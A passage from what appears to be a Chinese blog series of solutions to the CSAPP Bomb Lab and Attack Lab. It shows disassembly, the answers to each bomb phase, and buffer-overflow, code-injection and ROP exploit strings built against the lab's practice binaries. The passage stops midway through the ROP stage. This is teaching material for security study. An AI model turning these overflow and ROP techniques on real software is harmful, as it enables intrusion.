  40113c:	b8 79 00 00 00       mov    $0x79,%eax
  401141:	eb 0a                jmp    40114d <phase_3+0x13d>
  401143:	e8 bc 05 00 00       callq  401704 <explode_bomb>
  401148:	b8 63 00 00 00       mov    $0x63,%eax
  40114d:	3a 44 24 07          cmp    0x7(%rsp),%al
  401151:	74 05                je     401158 <phase_3+0x148>
  401153:	e8 ac 05 00 00       callq  401704 <explode_bomb>
  401158:	48 83 c4 18          add    $0x18,%rsp
  40115c:	c3                   retq


可以看到一开始的 0x40284e 非常突兀，我们可以打印它的值：

[image: ]

就可以发现本题要输入的格式了，接着看到这么多分片的语句，非常类似于我们的 switch 语句。所以第一个数字是用来进行跳转的，如下图所示

[image: ]

比方说如果输入 0，那么就直接执行下一条 mov 语句，然后是比较第三个参数是否和 0xdf 相等，所以我们知道第三个参数是 223（如果第一个参数是 0）的话。如果一切正常，那么就会跳转到 +317 的位置，也就是：

[image: ]

我们只要搞清楚 %al 里面的值是什么就好（会和第二个参数进行比较），具体的值，其实就是前面 mov 语句读入的 0x6e（110），对应的字符是 n。

所以答案是 0 n 223，当然选择不同的分支就有不同的答案，其他分支的分析也都是类似的。运行一下，就可以发现这一关又过了

[image: ]

第四关

这一关要涉及到一个函数，我们先把 phase_4 的代码弄出来：

[image: ]

而对应 func4 的汇编代码是：

000000000040115d <func4>:
  40115d:	41 54                push   %r12
  40115f:	55                   push   %rbp
  401160:	53                   push   %rbx
  401161:	89 fb                mov    %edi,%ebx
  401163:	85 ff                test   %edi,%edi
  401165:	7e 24                jle    40118b <func4+0x2e>
  401167:	89 f5                mov    %esi,%ebp
  401169:	89 f0                mov    %esi,%eax
  40116b:	83 ff 01             cmp    $0x1,%edi
  40116e:	74 20                je     401190 <func4+0x33>
  401170:	8d 7f ff             lea    -0x1(%rdi),%edi
  
  401173:	e8 e5 ff ff ff       callq  40115d <func4>
  401178:	44 8d 24 28          lea    (%rax,%rbp,1),%r12d
  40117c:	8d 7b fe             lea    -0x2(%rbx),%edi
  40117f:	89 ee                mov    %ebp,%esi
  
  401181:	e8 d7 ff ff ff       callq  40115d <func4>
  401186:	44 01 e0             add    %r12d,%eax
  401189:	eb 05                jmp    401190 <func4+0x33>
  40118b:	b8 00 00 00 00       mov    $0x0,%eax
  401190:	5b                   pop    %rbx
  401191:	5d                   pop    %rbp
  401192:	41 5c                pop    %r12
  401194:	c3                   retq


和上一关类似，我们可以先从 0x402b56 这个地址获取到具体的输入格式：

[image: ]

可以看到这一关我们需要输入两个数字，在检查输入参数的个数是否为 2 个之后，先判断第一个参数是否小于等于 1，如果是就爆炸，所以第一个数字需要大于等于 1。然后判断第一个参数是否小于等于 4，这里需要满足这个条件，所以第一个参数可能的取值（目前来看）是 2, 3, 4。

然后是把函数调用的参数传到 %edi 中，也就是说传入的参数是 9 和 2（我们输入的第 2 参数），然后需要用我们之前输入的第 1 个参数来和函数的返回值比较，于是我们需要弄明白这个递归函数在做什么。

一开始的 jle 跳转相当于是递归的退出条件，可以看到只有当 %edi 为 0 时，才会退出（现在 %edi 的值是 9），接着把我们输入的第一个参数存到 %ebp 和 %eax 中。之后又是跳转，因为 %edi 的值不等于 1，所以会继续执行。lea 那一句的左右就是让 %edi 的值减一（变成 8），然后开始递归调用。（可能需要 delete [断点编号] 方便调试）

递归部分有两个参数，第一个参数是程序中给出的 9，第二个参数是我们之前输入的参数中的第二个（也就是说可以是 2/3/4），程序的返回值会和我们输入的第一个参数进行比较。整个递归函数可以转换成如下的语句：

int f(x, y){
    if (x == 0) return 0;
    if (x == 1) return y;
    return f(x-1,y) + f(x-2,y) + y;
}


所以其中一个答案就是 264 3，测试一下，发现顺利通过！

[image: ]

第五关

根据代码来判断，我们要输入的是一个长度为 6 的字符串（+9 那一句）。然后会经过一系列复杂的跳转，匹配的话就正常返回。

[image: ]

代码不算很长，通过第一个验证（长度位 6）之后，会把 %edx 和 %eax 都赋值为 0，然后用 %eax 和 5 进行比较，相当于是循环的计数，于是我们跳转回 +31 句。这里有两个新指令 movslq（扩展到64位，但是不填充符号位） 和 movzbl（扩展到 32 位，填充 0），然后我们取得到的值的最后四位。

接着出现了一个地址，我们来看看地址里面的内容是什么

[image: ]

可以看到是一个数组，而后面的代码等于是根据我们的输入在这个数组中选取数字进行累加，选取的规则是用输入字符的最低四位，最后的结果要和 0x34 进行比较，也就是需要六个数字加起来是 52。

那么这六个数字可以怎么凑到 52 呢？我随便凑了一下，16+16+10+6+2+2=52。对应的偏移量是 5, 5, 1, 2, 0, 0，然后我们找一个 ASCII 表：

[image: ]

按照最低位的取值来选符合条件的字母，我这里挑了 eeabpp，然后测试一下，再次通关！

[image: ]

第六关

最后一关！代码非常长：

[image: ]
[image: ]

一开始读取六个数字进来，后面一顿疯狂跳转，到底在做什么呢？我用笨办法，一句一句先翻译出来，注意跳转的时候最好标记一下

Dump of assembler code for function phase_6:
=> 0x40122c <+0>:     push   %r12
   0x40122e <+2>:     push   %rbp
   0x40122f <+3>:     push   %rbx
   0x401230 <+4>:     sub    $0x50,%rsp
   0x401234 <+8>:     mov    %rsp,%rsi
   0x401237 <+11>:    callq  0x40173a <read_six_numbers>

   0x40123c <+16>:    mov    $0x0,%ebp               # ebp = 0
   0x401241 <+21>:    jmp    0x40127d <phase_6+81>

   0x401243 <+23>:    movslq %ebp,%rax
   0x401246 <+26>:    mov    (%rsp,%rax,4),%eax      # 取以 rsp 开头第 rax 个数，放到 eax 中
   0x401249 <+29>:    sub    $0x1,%eax               # eax -= 1
   0x40124c <+32>:    cmp    $0x5,%eax
   0x40124f <+35>:    jbe    0x401256 <phase_6+42>   # 小于等于 5 则跳转
   0x401251 <+37>:    callq  0x401704 <explode_bomb>

   0x401256 <+42>:    lea    0x1(%rbp),%r12d         # r12d(地址) = rbp 存放的地址 + 0x1
   0x40125a <+46>:    mov    %r12d,%ebx
   0x40125d <+49>:    movslq %ebp,%rbp
   0x401260 <+52>:    jmp    0x401275 <phase_6+73>

   0x401262 <+54>:    movslq %ebx,%rax
   0x401265 <+57>:    mov    (%rsp,%rax,4),%eax      # 取以 rsp 开头的第 rax 个数，放到 eax 中
   0x401268 <+60>:    cmp    %eax,(%rsp,%rbp,4)
   0x40126b <+63>:    jne    0x401272 <phase_6+70>   # 不能相等
   0x40126d <+65>:    callq  0x401704 <explode_bomb>
   0x401272 <+70>:    add    $0x1,%ebx               # ebx += 1

   0x401275 <+73>:    cmp    $0x5,%ebx               # ebx 与 5 比较
   0x401278 <+76>:    jle    0x401262 <phase_6+54>   # 小于的时候跳转
   0x40127a <+78>:    mov    %r12d,%ebp              # ebp = r12d

   0x40127d <+81>:    cmp    $0x5,%ebp               # ebp 与 5 比较
   0x401280 <+84>:    jle    0x401243 <phase_6+23>   # 小于的时候跳转
   # 前面相当于判断输入的六个数是否一样，并且要小于 6
   0x401282 <+86>:    mov    $0x0,%esi               # esi = 0
   0x401287 <+91>:    jmp    0x4012af <phase_6+131>

   0x401289 <+93>:    mov    0x8(%rdx),%rdx          # rdx(地址) = rdx 存着的地址 + 0x8
   0x40128d <+97>:    add    $0x1,%eax               # eax += 1
   0x401290 <+100>:   jmp    0x40129f <phase_6+115>

   0x401292 <+102>:   mov    $0x1,%eax               # eax = 1
   0x401297 <+107>:   mov    $0x604300,%edx          # edx = 0x604300
   0x40129c <+112>:   movslq %esi,%rcx               # rcx = esi

   0x40129f <+115>:   cmp    %eax,(%rsp,%rcx,4)      # 以 rsp 开头的第 rcx 个数与 eax 比较
   0x4012a2 <+118>:   jg     0x401289 <phase_6+93>   # 大于的时候跳转
   0x4012a4 <+120>:   movslq %esi,%rax               # rax = esi
   0x4012a7 <+123>:   mov    %rdx,0x20(%rsp,%rax,8)  # 把 rdx 存着的地址放到某个位置
   0x4012ac <+128>:   add    $0x1,%esi               # esi += 1

   0x4012af <+131>:   cmp    $0x5,%esi               # esi 与 5 比较
   0x4012b2 <+134>:   jle    0x401292 <phase_6+102>  # 小于的时候跳转
   0x4012b4 <+136>:   mov    0x20(%rsp),%rbx         # rbx = rsp 存着的地址 + 0x20 的新地址
   0x4012b9 <+141>:   mov    %rbx,%rcx               # rcx = rbx
   0x4012bc <+144>:   mov    $0x1,%eax               # eax = 1
   0x4012c1 <+149>:   jmp    0x4012d5 <phase_6+169>

   0x4012c3 <+151>:   movslq %eax,%rdx               # rdx = eax
   0x4012c6 <+154>:   mov    0x20(%rsp,%rdx,8),%rdx  # rdx = 以 rsp 开头加上 8 个 rdx 偏移再加 0x20
   0x4012cb <+159>:   mov    %rdx,0x8(%rcx)          # rcx 存着的地址 + 0x8 = rdx 存着的地址
   0x4012cf <+163>:   add    $0x1,%eax               # eax += 1
   0x4012d2 <+166>:   mov    %rdx,%rcx               # rcx = rdx

   0x4012d5 <+169>:   cmp    $0x5,%eax               # eax 与 5 比较
   0x4012d8 <+172>:   jle    0x4012c3 <phase_6+151>  # 小于的时候跳转
   0x4012da <+174>:   movq   $0x0,0x8(%rcx)          # rcx 存着的地址 + 0x8 = 0
   0x4012e2 <+182>:   mov    $0x0,%ebp               # ebp = 0
   0x4012e7 <+187>:   jmp    0x4012ff <phase_6+211>

   0x4012e9 <+189>:   mov    0x8(%rbx),%rax          # rax(地址) = rbx 存着的地址 + 0x8
   0x4012ed <+193>:   mov    (%rax),%eax             # eax = rax 地址中的值
   0x4012ef <+195>:   cmp    %eax,(%rbx)             # rbx 地址中的值与 eax 比较
   0x4012f1 <+197>:   jge    0x4012f8 <phase_6+204>  # 大于等于的时候跳转
   0x4012f3 <+199>:   callq  0x401704 <explode_bomb>
   0x4012f8 <+204>:   mov    0x8(%rbx),%rbx          # rbx(地址) = rbx 存着的地址 + 0x8
   0x4012fc <+208>:   add    $0x1,%ebp               # ebp += 1
   # 以上部分等于是用我们输入的顺序去验证内存中数据的顺序是否正确
   0x4012ff <+211>:   cmp    $0x4,%ebp               # ebp 与 4 比较
   0x401302 <+214>:   jle    0x4012e9 <phase_6+189>  # 小于等于的时候跳转
   0x401304 <+216>:   add    $0x50,%rsp
   0x401308 <+220>:   pop    %rbx
   0x401309 <+221>:   pop    %rbp
   0x40130a <+222>:   pop    %r12
   0x40130c <+224>:   retq
End of assembler dump.


这里发现一个奇怪的地址 0x604300，我们来看看里面的内容是什么：

[image: ]

发现其实是一个结构体，类似于

struct {
    int value;
    int order;
    node* next;
} node;


我们要做的，就是输入正确的 order（从大到小），这样程序在验证顺序的时候，就不会出问题，打印出来节点里的内容，人工排个序，就可以发现正确答案是 6 2 1 5 4 3。（感谢网友 那影丶这光 的更正）

[image: ]

拆弹任务成功！

秘密关卡

接着往反编译出来的源代码下看，发现还有一个隐藏关！但是之前过程中并没有任何需要给隐藏关输入的地方，那么就得先看看怎么进入隐藏关。在源代码中搜索 secret_phase，然后就可以发现，在 phase_defused 中会对其进行调用，那么我们就先来设个断点，看看能够怎么进去。

[image: ]

phase_defused 函数内容如下，我们在调用 secret_phase 的指令加个断点(break *0x40191d)，然后看看到底需要输入什么。

然后发现上面把两个参数放到了 %edi 中，我们来看看里面放了什么。结果发现是挑衅

[image: ]

继续往上（感谢网友十六夜砕月指正）找，在 0x402ba0 这个地址里，可以发现输入格式

[image: ]

但是并没有任何印象要输入这个，继续往上翻，发现又有一个地址：

[image: ]

唯一有类似输入格式的就是第四题，所以我们试试看在第四题的后面加上 213rocks!。果然，就可以进入到秘密关卡了。

[image: ]

这一段代码一开始就调用 read_line，然后会把内容用 strtol 转成十进制整数（感谢网友十六夜砕月指正），然后和 0x3e8（也就是 1000）进行比较，如果小于等于的话就执行 fun7，然后返回值需要等于 5，于是问题就变成，给定一个值，让 fun7 的输出为 5。我们就先来看看 fun7 具体做了什么。

[image: ]

一眼就能看出这是一个递归函数了，然后我们观察一下传进来作为第一个参数的地址 0x604120

[image: ]

虽然比较乱，但是可以看出是一棵树，有不同的层级。画出来的话大概是

              36
        /           \
      8               50
    /    \          /    \
   /      \        /      \
  6       22      45      107
 / \     /  \    /  \    /   \
1   7   20  35  40  47  99  1001


递归实际上的逻辑类似于下面代码：

struct treeNode
{
    int data;
    struct treeNode* leftChild;
    struct treeNode* rightChild;
};

int fun7(struct treeNode* p, int v)
{
    if (p == NULL)
        return -1;
    else if (v < p->data)
        return 2 * fun7(p->leftChild, v);
    else if (v == p->data)
        return 0;
    else 
        return 2 * fun7(p->rightChild, v) + 1;
}


为了要凑成 5，我们需要的值是 47（根据递归规律来找到合适的数字即可）

[image: ]

通关！撒花！

总结

相信通过这次『拆弹』的历练，一定对数据在内存中以及汇编的表示方法有了更加深刻的认识，做得过程可能有时候会摸不着头脑，这个时候一定要冷静，相信自己。



            
            
              
                【不周山之读厚 CSAPP】III Attack Lab
              
            
          


      
      

      
        漏洞天天听说，为什么溢出了就可以进行攻击呢？虽然做完这次实验并不能赋予自己给 iOS 越狱的能力，但是至少能实现简单的代码攻击了。
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任务目标

这一次我们将实现两种不同类型的攻击：


	缓冲区溢出攻击

	ROP 攻击



预备知识

x86-64 架构的寄存器有一些使用习惯，比如：


	用来传参数的寄存器：%rdi, %rsi, %rdx, %rcx, %r8, %r9

	保存返回值的寄存器：%rax

	被调用者保存状态：%rbx, %r12, %r13, %r14, %rbp, %rsp

	调用者保存状态：%rdi, %rsi, %rdx, %rcx, %r8, %r9, %rax, %r10, %r11

	栈指针：%rsp

	指令指针：%rip



函数调用前需要把某些以后仍旧需要用到的值保存起来。

而对于 x86-64 的栈来说，栈顶的地址最小，栈底的地址最大，寄存器 %rsp 保存着指向栈顶的指针。栈支持两个操作：


	push %reg：%rsp 的值减去 8，把寄存器 %reg 中的值放到 (%rsp) 中

	pop %reg：把寄存器 (%rsp) 中的值放到 %reg 中，%rsp 的值加上 8



接下来需要了解的事情是，每个函数都有自己的栈帧(stack frame)，可以把它理解为每个函数的工作空间，保存着：


	本地变量

	调用者和被调用者保存的寄存器里的值

	其他一些函数调用可选的值



如下图所示

[image: ]

x86-64 的函数调用过程，需要做的设置有：


	调用者：
	为要保存的寄存器值及可选参数分配足够大控件的栈帧

	把所有调用者需要保存的寄存器存储在帧中

	把所有需要保存的可选参数按照逆序存入帧中

	call foo: 会先把 %rip 保存到栈中，然后跳转到 label foo 





	被调用者
	把任何被调用者需要保存的寄存器值压栈减少 %rsp 的值以便为新的帧腾出空间







x86-64 的函数返回过程：


	被调用者
	增加 %rsp 的计数，逆序弹出所有的被调用者保存的寄存器，执行 ret: pop %rip







有了上面的基础知识，我们大概就能明白，利用缓冲区溢出，实际上是通过重写返回值地址，来执行另一个代码片段，就是所谓代码注入了。比较关键的点在于


	熟悉 x86-64 约定俗成的用法

	使用 objdump -d 来了解相关的偏移量

	使用 gdb 来确定栈地址



这之后，我们需要把需要注入的代码转换位字节码，这样机器才能执行，这里可以使用 gcc 和 objdump 来完成这个工作

# 假设 foo.s 是我们想要注入的代码
vim foo.s

# 利用 gcc 生成对应的字节码 foo.o
gcc -c foo.s

# 通过 objdump 来查看其内容，可以看到对应的字节码
objdump -d foo.o | less

# 然后需要把十六进制代码转换成字符串这样我们可以写在程序里
./hex2raw -i inputfile -o outputfile


另一种攻击是使用 return-oriented programming 来执任意代码，这种方法在 stack 不可以执行或者位置随机的时候很有用。

这种方法主要是利用 gadgets 和 string 来组成注入的代码。具体来说是使用 pop 和 mov 指令加上某些常数来执行特定的操作。也就是说，利用程序已有的代码，重新组合成我们需要的东西，这样就绕开了系统的防御机制。

举个例子，一个代码片段如下：

void foo(char *input){
    char buf[32];
    ...
    strcpy (buf, input;
    return;
}


假设我们这里想要把一个值 0xBBBBBBBB 弹出到 %rbx 中并且移动它到 %rax 中，我们找到下面两个 gadgets:


	address1: mov %rbx, %rax; ret

	address2: pop %rbx; ret



所以在这里我们其实不需要关心如何在 buffer 中运行我们的代码，而只需要知道 buffer 的 size，从而改写返回地址，即可以利用程序中原有的代码进行我们的操作。

在这个例子中，因为 address2 中的代码是把栈顶的值弹出到 %rbx 中，所以执行的时候，就会把 0xBBBBBBBB 放到 %rbx 中，现在程序就指向 address1 了，然后就会继续执行 address1，也就达到我们的目的，把 0xBBBBBBBB 放到了 %rax 中。

那么问题来了，我们如何能找到想要的 gadget 呢？在这个实验中，提供了一个 farm.c，可以从这里找到我们需要的 gadgets。

gcc -c  farm.c
objdump -d farm.o | less


一些建议：


	注意寻找 c3 结尾的代码，因为这可以作为每个 gadget 的最后一句（也就是正常返回）

	画出栈的图

	注意字节的顺序 (little endian)



准备工作

大概介绍下每个文件的作用：


	ctarget: 用来做代码注入攻击的程序

	rtarget: 用来做 ROP 攻击的程序

	cookie.txt: 一个 8 位的 16 进制代码，用来作为攻击的标识符

	farm.c: 用来找寻 gadget 的源文件

	hex2raw: 用来生成攻击字符串的程序



ctarget 和 rtarget 都会从标准输入中读取字符串，然后保存在一个大小为 BUFFER_SIZE 的 char 数组中（具体的大小每个人的程序都不大一样）。我们可以通过两次输入测试来看看程序具体的行为，一次是正常输入，第二次会输入超出 BUFFER_SIZE 个数的字符串。

[image: 第一次]

[image: 第二次]

所以我们要做的就是输入合理的字符串，来触发对应的操作。用于攻击的程序还可以做到

[image: 这次即使尝试错误也不会扣分]

比较有用的是可以把输入放在文件里，这样就不用每次打一长串了。

有几点需要注意：


	输入的字符串中不能有 0x0a，因为这是 \n 的意思，遇到这个的话会提前结束输入

	hex2raw 每次需要输入一个 2 位的 16 进制编码，如果想要输出 0，那么需要写 00。想要转换 0xdeadbeef，需要传入 ef be ad de，因为是 little-endian 规则



具体有 5 个任务，如下：

[image: ]

第一阶段

这一关中我们暂时还不需要注入新的代码，只需要让程序重定向调用某个方法就好。ctarget 的正常流程是

void test() {
    int val;
    val = getbuf();
    printf("NO explit. Getbuf returned 0x%x\n", val);
}


我们要做的是调用程序中的另一个函数

void touch1() {
    vlevel = 1;
    printf("Touch!: You called touch1()\n");
    validate(1);
    exit(0);
}


也就是在 getbuf() 函数返回的时候，执行 touch1() 而不是返回 test()。下面是一些建议：


	本关所需要的所有信息都可以在 ctarget 的汇编代码中找到

	具体要做的是把 touch1 的开始地址放到 ret 指令的返回地址中

	注意字节的顺序

	可以用 gdb 在 getbuf 的最后几条指令设置断点，来看程序有没有完成所需的功能

	具体 buf 在栈帧中的位置是由 BUFFER_SIZE 决定的，需要仔细察看来进行判断



接下来我们就开始解题。

首先是反编译成汇编代码：objdump -d ctarget > ctarget.txt

然后把这个文件传到本地方便查看：scp dawang@shark.ics.cs.cmu.edu:~/513/target334/ctarget.txt ./

接下来我们需要确定 getbuf 到底创建了多大的缓冲区，检索 getbuf，代码如下：

000000000040181c <getbuf>:
  40181c:	48 83 ec 28          sub    $0x28,%rsp
  401820:	48 89 e7             mov    %rsp,%rdi
  401823:	e8 88 02 00 00       callq  401ab0 <Gets>
  401828:	b8 01 00 00 00       mov    $0x1,%eax
  40182d:	48 83 c4 28          add    $0x28,%rsp
  401831:	c3                   retq   
  401832:	90                   nop
  401833:	90                   nop


可以看到这里把 %rsp 移动了 0x28(40) 位，也就是说，我们的缓冲区有 40 位，再上面的四位就是原来正常需要返回到 test 的返回地址（注意看之前的栈帧图），我们要做的就是利用缓冲区溢出把这个返回地址改掉。

于是我们继续搜素，来看看 touch1 在哪里：

0000000000401834 <touch1>:
  401834:	48 83 ec 08          sub    $0x8,%rsp
  401838:	c7 05 9a 3c 20 00 01 movl   $0x1,0x203c9a(%rip)        # 6054dc <vlevel>


可以看到地址在 0x401834 这里，但是我们要凑够 8 位，就是 0x00401834，于是我们需要输入的字符串就可以是这样：

00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00
34 18 40 00


前四十位是啥都不重要，后面四位按照 little endian 的规则逆向填上地址就好（注意这里为了排版用了换行，实际上都应该在一行，用空格分开），这样就改写了属于原来的返回地址。

接着我们把这个字符文件转换成字节码 ./hex2raw < p1.txt > p1r.txt，最后执行一下 ./ctarget -i p1r.txt，就可以看到结果了：

[image: 成功完成第一关]

从第一关我们就学到了如何利用缓冲区来调用另外的过程，接下来我们来看第二关。

第二阶段

第二关中需要插入一小段代码，ctarget 中的 touch2 函数的 C 语言如下：

void touch2(unsigned val){
    vlevel = 2;
    if (val == cookie){
        printf("Touch2!: You called touch2(0x%.8x)\n", val);
        validate(2);
    } else {
        printf("Misfire: You called touch2(0x%.8x)\n", val);
        fail(2);
    }
    exit(0);
}


根据代码就可以看出来，我们需要把自己的 cookie 作为参数传进去，这里需要把参数放到 %rdi 中，只使用 ret 来进行跳转。

所以第一步，我们先来写需要注入的代码(文件 p2.s)：

mov $0x45374fee,%rdi # set my cookie as the first parameter
pushq $0x401860
ret


这里首先把参数传入到 %rdi 寄存器中，然后把 touch2 函数的起始地址压入栈中，最后返回，这样就可以跳转到 touch2。然后转换成对应的机器码 

gcc -c p2.s
objdump -d p2.o > p2.byte


得到 p2.byte 文件的内容是

p2.o:     file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
   0:	48 c7 c7 ee 4f 37 45 mov    $0x45374fee,%rdi
   7:	68 60 18 40 00       pushq  $0x401860
   c:	c3                   retq


那么现在问题来了，我们要如何才能让机器开始执行这几行代码呢？简单，利用第一阶段的方式，跳转到缓冲区所在的位置即可，那么问题又来了，缓冲区的位置在哪里呢？这个就需要实际跑一次程序，用 gdb 查看了。

和上次的实验一样 gdb ctarget 开始调试，因为我想知道缓冲区从哪里开始，所以在 getbuf 中看看 %rsp 的值即可，我们在 0x401828 处设置断点，然后查看对应寄存器的值：

[image: ]

可以看到 %rsp 指向的位置是 0x5560f2d8，这样我们就可以得到需要输入的字符串了：

48 c7 c7 ee 
4f 37 45 68 
60 18 40 00
c3 00 00 00
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
d8 f2 60 55


然后把字符串转换成字节码：./hex2raw < p2.txt > p2r.txt，执行命令 ./ctarget -i p2r.txt 就可以看到完成第二阶段的提示了：

[image: ]

第三阶段

这一关和之前有点类似，只是需要传入一个字符串，所涉及的函数的 C 语言代码是：

int hexmatch(unsigned val, char *sval){
    char cbuf[110];
    char *s = cbuf + random() % 100;
    sprintf(s, "%.8x", val);
    return strncmp(sval, s, 9) == 0;
}

void touch3(char *sval){
    vlevel = 3;
    if (hexmatch(cookie, sval)){
        printf("Touch3!: You called touch3(\"%s\")\n", sval);
        validate(3);
    } else {
        printf("Misfire: You called touch3(\"%s\")\n", sval);
        fail(3);
    }
    exit(0);
}


我们可以看到，和第二阶段的差别在于，这里会调用另一个函数来进行检验，而且传入一个字符串的话，是传入一个地址，并且字符串需要以 0 结尾（查找 ascii 码表来确定），还有一个要注意的地方是，调用 hexmatch 和 strncmp 时会把数据存入栈中，也就是会覆盖一部分 getbuf 的缓冲区，所以要看看到底需要把传入的字符串放到哪里。

这题稍微有些复杂，我们一步一步来，先把我的 cookie 转换成字符串的表达形式，也就是

0x45374fee -> 34 35 33 37 34 66 65 65


因为知道在调用 hexmatch 的时候会覆盖缓冲区，所以需要找到一个位置来放这八个字符。光看代码比较难懂，不妨直接上手实验一下，我们需要知道的是到底覆盖了多少，所以从 touch3 入手:

000000000040196e <touch3>:
  40196e:	53                   push   %rbx
  40196f:	48 89 fb             mov    %rdi,%rbx
  401972:	c7 05 60 3b 20 00 03 movl   $0x3,0x203b60(%rip)        # 6054dc <vlevel>
  401979:	00 00 00 
  40197c:	48 89 fe             mov    %rdi,%rsi
  40197f:	8b 3d 5f 3b 20 00    mov    0x203b5f(%rip),%edi        # 6054e4 <cookie>
  401985:	e8 36 ff ff ff       callq  4018c0 <hexmatch>
  40198a:	85 c0                test   %eax,%eax


可以看到在 0x401985 的时候调用了 hexmatch，所以我们只要在前一句和后一句各设置一个断点，看看缓冲区有没有什么变化（这里稍微改了一下第二阶段的字节码用作测试）

[image: 调用 hexmatch 前]

可以看到在调用 hexmatch 之前我们的缓冲区一切正常，主要留意 0x5560f2f8 这里，保存着我们的 cookie，其他部分其实已经执行了，所以反而无所谓。

[image: 调用 hexmatch 后]

这就出问题了，我们之前存放在 0x5560f2f8 的传入参数给弄没了，而且可以看到从缓冲区开始 0x5560f2d8 到缓冲区结束 0x5560f300 都不安全。所以我们得给字符串找个新家，不会被覆盖的新家。

仔细观察 0x5560f308 之后的内容，在 0x00401f94 之后有几个空位置，刚好放得下我们的字符串。为了保证格式的一致，我们需要溢出到 0x5560f318 的位置（当然前一个也可以，不过我选择的位置换行了，比较容易看）

于是我们需要输入的字符串是

48 c7 c7 18 f3 60 55 68 6e 19 40 00 c3 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
34 35 33 37 34 66 65 65 d8 f2 60 55 00 00 00 00 
09 00 00 00 00 00 00 00 94 1f 40 00 00 00 00 00 
34 35 33 37 34 66 65 65


至于这个怎么来的，其实是和第二阶段类似的过程，对应的汇编指令为：

mov $0x5560f318,%rdi # mov the cookie string address to parameter
push $0x40196e #push touch3 address
ret


gcc -c p3.s
objdump -d p3.o > p3.byte


得到 p3.byte 文件的内容是（其实我没做这一步，直接改第二阶段的代码也可以，因为逻辑都一样的）

p3.o:     file format elf64-x86-64

Disassembly of section .text:

0000000000000000 <.text>:
   0:	48 c7 c7 18 f3 60 55 mov    $0x5560f318,%rdi
   7:	68 6e 19 40 00       pushq  $0x40196e
   c:	c3                   retq


然后我们就可以转换成机器码 ./hex2raw < p3.txt > p3r.txt ，接着执行命令 ./ctarget -i p3r.txt 即可看到结果：

[image: ]

第四阶段

从前面我们可以知道，有缓冲区加上缓冲区的代码可以执行使得程序非常容易被攻击，但是在 rtarget 中使用了两个技术来防止这种攻击：


	每次栈的位置是随机的，于是我们没有办法确定需要跳转的地址

	即使我们能够找到规律注入代码，但是栈是不可执行的，一旦执行，则会遇到段错误



那么现在怎么办呢？可以利用已有的可执行的代码，来完成我们的操作，称为 retrun-oriented programming(ROP)，策略就是找到现存代码中的若干条指令，这些指令后面跟着指令 ret，如下图所示

[image: ]

每次 return 相当于从一个 gadget 跳转到另一个 gadget 中，然后通过这样不断跳转来完成我们想要的操作。举个具体的例子，假设程序中有一个像下面这样的函数：

void setval_210(unsigned *p){
    *p = 3347663060U;
}


这么看起来没啥用，但是看看对应的汇编代码，可能就是另一个感觉：

[image: ]

这里 48 89 c7 就编码了 movq %rax, %rdi 指令（参加后面的表格），后面跟着一个 c3（也就是返回），于是这段代码就包含一个 gadget，起始地址是 0x400f18，我们就可以利用这个来做一些事情了。

这个阶段我们需要重复之前第二阶段的工作，但是因为程序的限制，只能另辟蹊径了，这里我们只需要利用下表给出的指令类型，以及前八个寄存器(%rax - %rdi)。表格如下：

[image: ]

[image: ]

[image: ]

注意这里的内容都是 16 进制。另外两个指令是：


	ret: 一个字节编码 0xc3

	nop: 什么都不做，只是让程序计数器加一，一个字节编码 0x90



我们先把 rtarget 反编译：objdump -d rtarget > rtarget.txt 并传到本地方便查看 scp dawang@shark.ics.cs.cmu.edu:~/513/target334/rtarget.txt ./

根据前面的思路，我们大概要做的有三步：


	把 cookie 给搞到 %rdi 中

	把 touch2 的地址放入栈中

	rtn 以开始执行



后面两步不算太难，我们来看看第一步怎么搞。给我们找寻线索的函数有：

0000000000401a08 <start_farm>:
  401a08:   b8 01 00 00 00          mov    $0x1,%eax
  401a0d:   c3                      retq   

0000000000401a0e <getval_440>:
  401a0e:   b8 48 88 c7 c3          mov    $0xc3c78848,%eax
  401a13:   c3                      retq   

0000000000401a14 <addval_394>:
  401a14:   8d 87 58 94 90 90       lea    -0x6f6f6ba8(%rdi),%eax
  401a1a:   c3                      retq   

0000000000401a1b <addval_304>:
  401a1b:   8d 87 66 58 90 c3       lea    -0x3c6fa79a(%rdi),%eax
  401a21:   c3                      retq   

0000000000401a22 <addval_104>:
  401a22:   8d 87 58 c3 50 83       lea    -0x7caf3ca8(%rdi),%eax
  401a28:   c3                      retq   

0000000000401a29 <getval_341>:
  401a29:   b8 5b 48 89 c7          mov    $0xc789485b,%eax
  401a2e:   c3                      retq   

0000000000401a2f <getval_278>:
  401a2f:   b8 41 48 89 c7          mov    $0xc7894841,%eax
  401a34:   c3                      retq   

0000000000401a35 <setval_371>:
  401a35:   c7 07 49 89 c7 c3       movl   $0xc3c78949,(%rdi)
  401a3b:   c3                      retq   

0000000000401a3c <getval_313>:
  401a3c:   b8 8c fa 58 c1          mov    $0xc158fa8c,%eax
  401a41:   c3                      retq   

0000000000401a42 <mid_farm>:
  401a42:   b8 01 00 00 00          mov    $0x1,%eax
  401a47:   c3                      retq


结合上表，我们想要插入一个数字，肯定需要 popq 指令，对应下来就是 58 - 5f 这个范围，因为 ROP 的缘故，我们还需要后面有个 c3，经过搜索，可以看到在 addval_104 中，有一段 58 c3，也就是把栈中的值弹入到 %rax 中，记住这个地址 0x401a24。

现在我们要做的就是把存放在 %rax 的值放到 %rdi 中，因为这样才能当做参数传给 touch2 函数。根据表里的内容，继续找，这次的目标是 48 89 c7，也就是 movq %rax, %rdi，很幸运，又在 getval_341 中找到了，后面还正好跟了个 c3，赶紧记下这个地址 0x401a2b。

接下来我们就可以凑 ROP 程序了，下面是栈顶，上面是栈底。

0x00401860 (最后是 touch2 的入口地址，进行调用)
-------
0x00401a2b (把 %rax 的值放入到 %rdi 中，作为参数) -> gadget 2
-------
0x45374fee (我的 cookie，会被 gadget 1 存入到 %rax 中)
-------
0x00401a24 (旧的返回地址会被这里覆盖) -> gadget 1
-------
....
buf (缓冲区，这里随便写点啥都可以，反正都不能执行)
-------


构造出来的字符串就是（little-endian 规则，要反着看）

00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
